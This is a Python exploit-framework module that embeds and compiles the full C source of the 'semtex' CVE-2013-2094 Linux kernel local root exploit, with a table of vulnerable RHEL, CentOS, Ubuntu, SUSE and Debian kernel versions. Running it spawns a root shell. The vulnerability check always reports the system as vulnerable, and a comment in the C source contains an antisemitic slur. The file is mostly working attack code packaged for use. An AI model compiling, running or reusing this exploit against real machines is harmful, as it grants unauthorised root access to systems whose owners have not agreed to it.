"""
https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
"""
import os
from exploits.exploit import LinuxExploit
from src.kernels import KernelWindow
from constants import *


class CVE20132094_semtex(LinuxExploit):
	def __init__(self, playground_path=PLAYGROUND_PATH):
		LinuxExploit.__init__(self)
		self.name = "CVE20132094_semtex"
		self.formatted_name = "CVE-2013-2094"
		self.e_type = "linux"
		self.brief_desc = "perf_swevent_init Local root exploit (32 bit)"
		self.reliability = MEDIUM_RELIABILITY
		self.vulnerable_base = KernelWindow(GENERIC_LINUX, BASE_VULNERABLE, 0, 0, 0, 3, 8, 9) # reported...maybe not real
		self.vulnerable_kernels = [
			KernelWindow(RHEL, VERSION_VULNERABLE, 0, 0, 0, 2, 6, 32, highest_patch_level="2.6.32-358.6.2"),
			KernelWindow(SUSE, VERSION_VULNERABLE, 0, 0, 0, 3, 0, 74, highest_patch_level="3.0.74-0.6.8.1"),
			KernelWindow(CENTOS, VERSION_VULNERABLE, 2, 6, 32, 2, 6, 37, highest_patch_level="2.6.32-358.6.2"),
			KernelWindow(UBUNTU_12, VERSION_VULNERABLE, 0, 0, 0, 3, 2, 0, highest_patch_level="3.2.0-43.68"),
			KernelWindow(UBUNTU_12, VERSION_VULNERABLE, 0, 0, 0, 3, 5, 0, highest_patch_level="3.5.0-30.51"),
			KernelWindow(UBUNTU_13, VERSION_VULNERABLE, 0, 0, 0, 3, 5, 0, highest_patch_level="3.8.0-21.32"),
			KernelWindow(UBUNTU_GENERIC, BASE_VULNERABLE, 0, 0, 0, 3, 2, 0),
			KernelWindow(DEBIAN_8, VERSION_VULNERABLE, 0, 0, 0, 3, 8, 11, highest_patch_level="3.8.11-1"),
			KernelWindow(DEBIAN_7, VERSION_VULNERABLE, 0, 0, 0, 3, 2, 41, highest_patch_level="3.2.41-2+deb7u2"),
			KernelWindow(DEBIAN_GENERIC, BASE_VULNERABLE, 0, 0, 0, 3, 2, 41),
		]
		self.exploit_kernels = [
			# don't know what the PoC targets, so can't say for sure it'll work
		]
		self.architecture = ARCHITECTURE_i686
		self.playground_path = playground_path
		self.exploit_source_file_name = "{}.c".format(self.name)
		self.source_c_path = os.path.join(self.playground_path, self.exploit_source_file_name)
		self.compilation_path = os.path.join(self.playground_path, self.name)
		self.compilation_command = "gcc -o {} {} -O2".format(self.compilation_path, self.source_c_path)
		self.exploit_command = self.compilation_path
		self.exploit_source = """
/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 sd@fucksheep.org, salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
    int i,j,k;
    uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
    uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
    uint64_t kbase = ((uint64_t)current)>>36;
    uint32_t *fixptr = (void*) AB(1);
    *fixptr = -1;

    for (i=0; i<4000; i+=4) {
        uint64_t *p = (void *)&current[i];
        uint32_t *t = (void*) p[0];
        if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
        for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
            if (((uint32_t*)uids)[k] != t[j+k]) goto next;
            for (i = 0; i < 8; i++) t[j+i] = 0;
            for (i = 0; i < 10; i++) t[j+9+i] = -1;
            return;
next:;      }
    }
}

void sheep(uint32_t off) {
    uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
    int fd = syscall(298, buf, 0, -1, -1, 0);
    assert(!close(fd));
}


int main() {
    uint64_t  u,g,needle, kbase, *p; uint8_t *code;
    uint32_t *map, j = 5;
    int i;
    struct {
        uint16_t limit;
        uint64_t addr;
    } __attribute__((packed)) idt;
    assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
    memset(map, 0, SIZE);
    sheep(-1); sheep(-2);
    for (i = 0; i < SIZE/4; i++) if (map[i]) {
        assert(map[i+1]);
        break;
    }
    assert(i<SIZE/4);
    asm ("sidt %0" : "=m" (idt));
    kbase = idt.addr & 0xff000000;
    u = getuid(); g = getgid();
    assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
    memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
    memcpy(code-13,"\\x0f\\x01\\xf8\\xe8\\5\\0\\0\\0\\x0f\\x01\\xf8\\x48\\xcf",
        printf("2.6.37-3.x x86_64\\nsd@fucksheep.org 2010\\n") % 27);
    setresuid(u,u,u); setresgid(g,g,g);
    while (j--) {
        needle = AB(j+1);
        assert(p = memmem(code, 1024, &needle, 8));
        if (!p) continue;
        *p = j?((g<<32)|u):(idt.addr + 0x48);
    }
    sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
    asm("int $0x4");    assert(!setuid(0));
    return execl("/bin/bash", "-sh", NULL);
}



"""

	def determine_vulnerability(self):
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		# if kernel matches...it should be vulnerable
		color_print("\t[-] system appears to be vulnerable to {}".format(self.name), color="green")
		return True
